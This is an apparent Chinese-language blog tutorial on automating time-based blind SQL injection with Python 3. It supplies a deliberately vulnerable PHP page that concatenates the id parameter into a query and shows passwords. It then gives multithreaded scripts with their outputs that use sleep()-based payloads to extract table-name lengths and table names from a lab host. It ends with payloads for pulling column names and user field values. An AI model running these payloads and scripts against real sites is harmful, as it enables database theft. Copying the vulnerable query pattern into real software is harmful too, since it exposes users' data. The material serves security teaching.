[教程] 基於時間盲注的python3腳本編寫

PS:歡迎訪問我的個人博客 http://luckyzmj.cn

0x001 時間盲注簡介


  時間盲注就是在頁面進行SQL注入並執行後,前端頁面無法回顯注入的信息。此時,我們可以利用sleep()函數來控制延遲頁面返回結果的時間,進而判斷注入的SQL語句是否正確,這個過程稱之爲時間盲注。但如果手工進行注入的話,過程是非常頻繁且耗時的,爲了提高效率,我們需要編寫自動化腳本替我們去完成這些注入工作。

0x002 漏洞測試代碼


以下爲本次實驗測試的基於時間的數字型盲注漏洞代碼,可以部署到本地進行配合腳本測試驗證。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db('sqltest');
?>
<html>  
<head>   
<meta charset="utf-8" />   
<title>sql注入測試</title>   
<style>   
body{text-align:center}   
</style>   
</head>   
<body>   
<br />  
<?php  
     $id=@$_GET['id'];
    if($id==null){  
        $id="1";  
    }  
    mysql_query('set names utf8');  
    $sql = "SELECT * FROM users WHERE id=$id";  
    $result = mysql_query($sql,$conn);  
    if(!$result)  
    {  
        die('<p>error:'.mysql_error().'</p>');  
    }  
    $row = mysql_fetch_array($result);  
    if (!$row){  
        echo "該記錄不存在";  
        echo $sql;
        exit;  
    }  
    ?>  
<font size="10" face="Times">sql注入測試</font>  
<table border='2'  align="center">  
<tr>  
<td>id:<?php echo $id;?></td>  
</tr>  
<tr>  
<td>賬號:<?php echo $row['username'];?></td>  
</tr>  
<tr>  
<td>密碼:<?php echo $row['password'];?></td>  
</tr>  
<tr>  
<td>sql內容: <?php echo $sql;?></td>  
</tr>  
</table>
</body>   
</html>

0x003 時間盲注之獲取表名長度


1. 獲取表名長度盲註腳本編寫

導入所需的模塊

# coding:utf-8
import requests
import datetime
import time
import threading

定義測試數據的長度範圍

例:定義測試表名數據的長度總範圍爲1到15

list=[]  # 測試表名數據長度的列表
for i in range(1,16):   # range(1,16)實際數字範圍是1到15
    list.append(i)

測試結果

print(list)

[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]

定義單個線程工作量

例:定義單個線程的工作量爲3

t_num = 3

分配每個線程的測試範圍

例:由於測試表名數據長度爲1到15,一共15個數據,而單個線程數爲3,所以一共會產生5個線程數;如果不能剛好分配完,則多餘的部分會新生成一個單獨的線程

t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)] # 每個線程的測試範圍列表

測試結果

print(t_list)

[[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12], [13, 14, 15]]

構造payload

通用:如果判斷表名長度正確,頁面立即返回結果;如果錯誤,頁面會延遲1秒返回結果

?id=1 and sleep(if((select length(table_name)=要猜表名的長度 from information_schema.tables where table_schema=database() limit 要猜第幾個表名0表示第一個,1),0,1))

例子:猜當前數據庫下的第1個表名長度是否爲5。

?id=1 and sleep(if((select length(table_name)=5 from information_schema.tables where table_schema=database() limit 0,1),0,1))

定義要獲取表名的數量

例:指定獲取當前數據庫下的前5個表名的長度

table_num=[0,1,2,3,4] # 0表示第一個表,1表示第二個表...

編輯功能函數

例:該函數會判斷並返回當前數據庫下的前5個表名長度

def table_len(j_list,table_num):
    for j in table_num:
        now_table = "第%d個表" % (j + 1)  # 當前的表名序號
        for i in j_list:
            url = '''http://192.168.1.2/labs/num_sql.php'''
            payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
            # print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            #print('timeout:',sec)
            if sec <= 1:
                print('[+] %s長度爲:' % now_table, i)
                res_table_lens[now_table]=i
                print(res_table_lens)
            else:
                # print(i)
                pass

定義接收返回表名長度結果的字典

res_table_lens = {}

定義線程工作列表

theads_list=[]

添加線程到線程工作列表

for j in t_list:
    theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))

執行線程列表中的線程

for k in theads_list:
    k.start()

2. 獲取表名長度腳本代碼總結

# coding:utf-8
import requests
import datetime
import time
import threading

# 定義測試的長度範圍
list=[]  # 測試數據長度的列表
for i in range(1,16):
    list.append(i)

# 定義單個線程的工作量爲3
t_num=3 

# 每個線程的測試範圍列表
t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)] 

# 定義接收的表名長度字典
res_table_lens = {}

# 添加線程工作列表
theads_list=[]

#定義要獲取表名的數量
table_num=[0,1,2,3,4]

# 功能函數
def table_len(j_list,table_num):
    for j in table_num:
        now_table = "第%d個表" % (j + 1)  # 當前的表名序號
        for i in j_list:
            url = '''http://192.168.1.2/labs/num_sql.php'''
            payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
            # print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            #print('timeout:',sec)
            if sec <= 1:
                print('%s長度爲:' % now_table, i)
                res_table_lens[now_table]=i
                print(res_table_lens)
            else:
                # print(i)
                pass

# 添加線程到線程列表
for j in t_list:
    theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))

# 執行線程列表中的線程
for k in theads_list:
    k.start()

運行結果

[+] 第1個表長度爲: 4
{'第1個表': 4}
[+] 第2個表長度爲: 4
{'第1個表': 4, '第2個表': 4}
[+] 第3個表長度爲: 5
{'第1個表': 4, '第2個表': 4, '第3個表': 5}
[+] 第4個表長度爲: 5
{'第1個表': 4, '第2個表': 4, '第3個表': 5, '第4個表': 5}
[+] 第5個表長度爲: 5
{'第1個表': 4, '第2個表': 4, '第3個表': 5, '第4個表': 5, '第5個表': 5}

0x004 時間盲注之獲取表名


1. 獲取表名腳本編寫

導入所需的模塊

# coding:utf-8
import requests
import datetime
import time
import threading

定義表名的長度列表

在上一個獲取表名長度步驟中,已經得到了前5個表名長度分別爲:

第1個表長度爲4
第2個表長度爲4
第3個表長度爲5
第4個表長度爲5
第5個表長度爲5

將這5個表按先後順序定義成一個列表

res_table_lens=[4,4,5,5,5]

定義線程的數量

例:定義線程的數量爲5個,每一個線程對應獲取一個表名

這樣就可以在統一時間內同時獲取5個表名,如果沒有多線程的話,就得一個完接一個的獲取表名。

theads_table_num=[0,1,2,3,4]

構造payload

通用:如果判斷表名長度正確,頁面立即返回結果;如果錯誤,頁面會延遲1秒返回結果

?id=1 and sleep(if((select mid(table_name,要猜的表名的第幾位,1)='要猜的字符' from information_schema.tables where table_schema=database() limit 要猜第幾個表名0表示第一個,1),0,1))

例子:猜當前數據庫下的第1個表名的第1個字符是否爲u。

?id=1 and sleep(if((select mid(table_name,1,1)='u' from information_schema.tables where table_schema=database() limit 0,1),0,1))

編輯功能函數

例:該函數會判斷並返回當前數據庫下的前5個表名

def table_name(len,k):
    name = ''
    now_thead = "第%d個線程" % (k + 1) # 當前的線程序號
    now_table = "第%d個表" % (k + 1)  # 當前的表名序號
    for j in range(1, len[k]+1):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = '''http://192.168.1.2/labs/num_sql.php'''
            payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
               j, i, k)
            # print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            #print('timeout:', sec)
            if sec <= 1:
                name += i
                print('[+] %s--->%s: ' % (now_thead,now_table),name)
                break
    res_table_name[now_table]=name
    print(res_table_name)

定義接收返回表名結果字典

res_table_name= {}

定義線程工作列表

theads_list=[]

添加線程到線程工作列表

for k in theads_table_num:
    theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))

執行線程列表中的線程

for k in theads_list:
    k.start()

2. 獲取表名腳本代碼總結

# coding:utf-8
# coding:utf-8
import requests
import datetime
import time
import threading

# 添加線程工作列表
theads_list=[]

#  定義每一個表名對應的長度列表
res_table_lens=[4,4,5,5,5]

# 定義要獲取表名的數量
theads_table_num=[0,1,2,3,4]

# 定義接收的表名字典
res_table_name= {}

def table_name(len,k):
    name = ''
    now_thead = "第%d個線程" % (k + 1) # 當前的線程序號
    now_table = "第%d個表" % (k + 1)  # 當前的表名序號
    for j in range(1, len[k]+1):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = '''http://192.168.1.2/labs/num_sql.php'''
            payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
               j, i, k)
            # print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            #print('timeout:', sec)
            if sec <= 1:
                name += i
                print('[+] %s--->%s: ' % (now_thead,now_table),name)
                break
    res_table_name[now_table]=name
    print(res_table_name)

# 添加線程到線程列表
for k in theads_table_num:
    theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))

# 執行線程列表中的線程
for k in theads_list:
    k.start()

運行結果

[+] 第1個線程--->第1個表:  n
[+] 第2個線程--->第2個表:  p
[+] 第3個線程--->第3個表:  t
[+] 第4個線程--->第4個表:  t
[+] 第5個線程--->第5個表:  u
[+] 第1個線程--->第1個表:  ne
[+] 第4個線程--->第4個表:  te
[+] 第3個線程--->第3個表:  te
[+] 第2個線程--->第2個表:  po
[+] 第5個線程--->第5個表:  us
[+] 第1個線程--->第1個表:  new
[+] 第4個線程--->第4個表:  tes
[+] 第3個線程--->第3個表:  tes
[+] 第5個線程--->第5個表:  use
[+] 第2個線程--->第2個表:  pos
[+] 第1個線程--->第1個表:  news
{'第1個表': 'news'}
[+] 第5個線程--->第5個表:  user
[+] 第4個線程--->第4個表:  test
[+] 第3個線程--->第3個表:  test
[+] 第3個線程--->第3個表:  test1
{'第1個表': 'news', '第3個表': 'test1'}
[+] 第4個線程--->第4個表:  test2
{'第1個表': 'news', '第3個表': 'test1', '第4個表': 'test2'}
[+] 第2個線程--->第2個表:  post
{'第1個表': 'news', '第3個表': 'test1', '第4個表': 'test2', '第2個表': 'post'}
[+] 第5個線程--->第5個表:  users
{'第1個表': 'news', '第3個表': 'test1', '第4個表': 'test2', '第2個表': 'post', '第5個表': 'users'}

0x005 文章總結

  綜上,本文總結了如何編寫自動化腳本獲取表名長度,進而獲取表名。接下來就是要獲取表名下的字段長度,然後獲取字段名,最後獲取字段值長度和字段值數據。這些步驟基本上與獲取表名長度和表名一致,只是構造的payload不同,然後再根據payload稍稍改動小部分代碼即可獲取到想要的內容,這裏就不一一編寫了。

  最後提供下測試代碼剩餘完整的payload,有興趣的可以自行編寫對應的自動化python腳本。

判斷字段名長度payload

# 判斷users表的第一個字段名長度是否爲5
?id=1 and sleep(if((select length(column_name)=5 from information_schema.columns where table_name='users' limit 0,1),0,3))

判斷字段名payload

# 判斷users表的第一個字段名的第一位是否爲u
?id=1 and sleep(if((select mid(column_name,1,1)='u' from information_schema.columns where table_name='users' limit 0,1),0,3))

判斷字段值長度payload

# 判斷users表的username字段的第一個字段值是否爲5
?id=1 and sleep(if((select length(username)=5 from users limit 0,1),0,3))

判斷字段值數據payload

# 判斷users表的username字段的第一個字段值的第一位是否爲u
?id=1 and sleep(if((select mid(username,1,1)='u' from users limit 0,1),0,3))

參考文章

  • https://www.bugbank.cn/q/article/5983ea82cbb936102d3977bb.html
  • https://www.cnblogs.com/jielun/p/10941501.html
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章